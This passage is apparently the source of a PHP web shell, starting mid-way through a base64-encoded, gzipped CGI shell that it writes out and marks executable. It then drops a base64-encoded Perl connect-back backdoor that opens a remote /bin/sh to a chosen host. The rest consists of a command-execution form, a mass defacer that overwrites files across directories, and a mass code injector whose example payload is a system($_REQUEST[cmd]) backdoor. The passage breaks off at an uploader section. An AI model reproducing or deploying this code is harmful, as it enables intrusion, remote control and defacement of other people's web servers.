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\';
                                                        $file = fopen("izo.cin", "w+");
                                                        $write = fwrite($file, htmlspecialchars_decode(gzinflate(base64_decode($cgishellizocin))));
                                                        fclose($file);
                                                        chmod("izo.cin", 0755);
                                                        $netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQogICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQoMSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAgICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1ZbMV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAgICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==\';
                                                        $file = fopen("dc.pl", "w+");
                                                        $write = fwrite($file, base64_decode($netcatshell));
                                                        fclose($file);
                                                        chmod("dc.pl", 0755);
                                                        echo "<iframe src=an0n_cgi/izo.cin width=\'100%\' height=\'360\' frameborder=0></iframe> ";
                                                        }
                                                        ?>

                                        <?php
                                                if (isset($_GET[\'exec\'])) {
                                                        ?><center><br><span class="def">Commands:</span>
                                                        <form action="" method="POST">
                                                                <textarea rows="8" cols="70" name="command" placeholder="Commands Here"></textarea><br><br>
                                                                <input type="submit" name="submit" value="Execute">
                                                        </form>
                                                        <?php
                                                        if (!empty($_POST[\'command\']) && isset($_POST[\'submit\'])) {
                                                                function execute($in) {
                                                            $out = \'\';
                                                            if(function_exists(\'exec\')) {
                                                                @exec($in,$out);
                                                                $out = @join("
",$out);
                                                            }elseif(function_exists(\'passthru\')) {
                                                                ob_start();
                                                                @passthru($in);
                                                                $out = ob_get_clean();
                                                            }elseif(function_exists(\'system\')) {
                                                                ob_start();
                                                                @system($in);
                                                                $out = ob_get_clean();
                                                            }elseif(function_exists(\'shell_exec\')) {
                                                                $out = shell_exec($in);
                                                            }elseif(is_resource($f = @popen($in,"r"))) {
                                                                $out = "";
                                                                while(!@feof($f))
                                                                    $out .= fread($f,1024);
                                                                pclose($f);
                                                            }
                                                            return $out;
                                                        }
                                                                $commands = $_POST[\'command\'];
                                                                $result = @execute($commands);
                                                                echo \'<br><textarea rows="8" cols="70">\'.$result.\'</textarea>\';
                                                        }
                                                }
                                        ?>
                                        <?php
                                        if (isset($_GET[\'defacer\'])) {
                                                ?>
                                                        <center><br><font style="font-family: cursive; font-size: 170%; color: red;">An0n Mass Defacer </font><br>
                                                        <form ENCTYPE="multipart/form-data" action="" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;"><span class="def">Folder:</span> <br><input type="text" name="path" size="60" value="<?php echo getcwd(); ?>">
                                                        <br><span class="def">File name:</span> <br><input type="text" name="file" size="20" value="terx.html"><br><span class="def">Content:</span>
                                                        <br> <textarea type=\'text\' name=\'Contents\' cols="60" rows="8" placeholder="Deface Page Here :)"></textarea>
                                                        <br><input type=submit name="submit" value="Deface now"></p></form>
                                                        <?php
                                                        if (isset($_POST[\'path\']) && !empty($_POST[\'file\']) && !empty($_POST[\'Contents\']) && isset($_POST[\'submit\'])) {
                                                                $mainpath = $_POST["path"];
                                                                $file = $_POST["file"];
                                                                $txtContents = $_POST["Contents"];
                                                                $dir = opendir($mainpath);
                                                                while ($row = readdir($dir)) {
                                                                $start = @fopen("$row/$file", "w+");
                                                                $code = $txtContents;
                                                                $finish = @fwrite($start, $code);
                                                                if ($finish) {
                                                                echo "<span class=\'def\'>http://$row/$file</span><br>";
                                                                }
                                                        }
                                                }
                                        }
                                        ?>
                                        <?php
                                                if (isset($_GET[\'mass_injector\'])) {
                                                        ?><br><center><br>
                                                        <font style="color: teal; font-family: cursive; font-size: 200%;">ReV Mass Code Injector V2.0</font><br><br>
                                                        <form action="" method="POST">
                        <?php
                                $console = \'
<?php
if (isset($_REQUEST[cmd])) {
system ($_REQUEST[cmd]);
}
?>\';
                        ?>
                                <textarea type="text" name="code" rows="13" cols="80" placeholder="Enter Your Code Like This : <?php echo $console; ?>"></textarea><br><br>
                                <input style="font-family: Comic Sans Ms; font-size: 90%;" type="submit" name="submit" value="Submit" />
                        </form>
                        <?php
                                if (isset($_POST[\'submit\'])) {
                                        $code = $_POST[\'code\'];
                                        $code1 = base64_encode($code);
                                        $path = getcwd();
                                        $host = \'http://\'.$_SERVER[\'HTTP_HOST\'];
                                        $path_of_file = $_SERVER[\'SCRIPT_NAME\'];
                                        $website_testing = $host.$path_of_file;
                                        $path = getcwd();
                                        $directory = $path;

                                        if (empty($code)) {
                                                echo \'<font size=\'50%\' face=\'cursive\' color=\'red\'>You need to input something !!! :P</font>\';
                                        }

                                        if (!empty($code)) {

                                                        if ($handle = opendir($directory)) {
                                                        echo \'<span style="color: red; font-family: cursive; font-size: 110%;">\'.\'Website: \'.$website_testing.\'<br><br></span>\';
                                                        echo \'<span style="color: teal; font-family: cursive; font-size: 110%;">Looking in \'.$directory.\'<br></span>\';
                                                        while ($files = readdir($handle)) {
                                                                if ($files != \'.\' && $files != \'..\' && $files != \'rev.php\' && $files != \'REV.php\' && $files != \'.htaccess\' && $files != \'php.ini\' && $files != \'admin\' && $files != \'images\' && $files != \'image\' && $files != \'img\' && $files != \'phpmyadmin\' && $files != \'files\' && $files != \'.ftpquota\' && $files != \'.error_log\' && strtolower(substr($files, strrpos($files, \'.\') + 1)) == \'php\') {
                                                                echo \'<a style="color: red; font-family: cursive;" target="_blank" href="\'.$files.\'">\'.$files.\'</a><font size="" color="lawngreen" face="cursive">&nbsp;&nbsp;&nbsp&nbsp;Is Injected</font><br />\';
                                                                $file_data = base64_decode($code1);
                                                                $file_data .= file_get_contents($files);
                                                                file_put_contents($files, $file_data); echo \'<br>\';
                                                                }
                                                        }
                                                }
                                        }
                                }
                        }
                ?>
                <?php
                        if (isset($_GET[\'uploader\'])) {
                                ?>
                                <center><br><br>
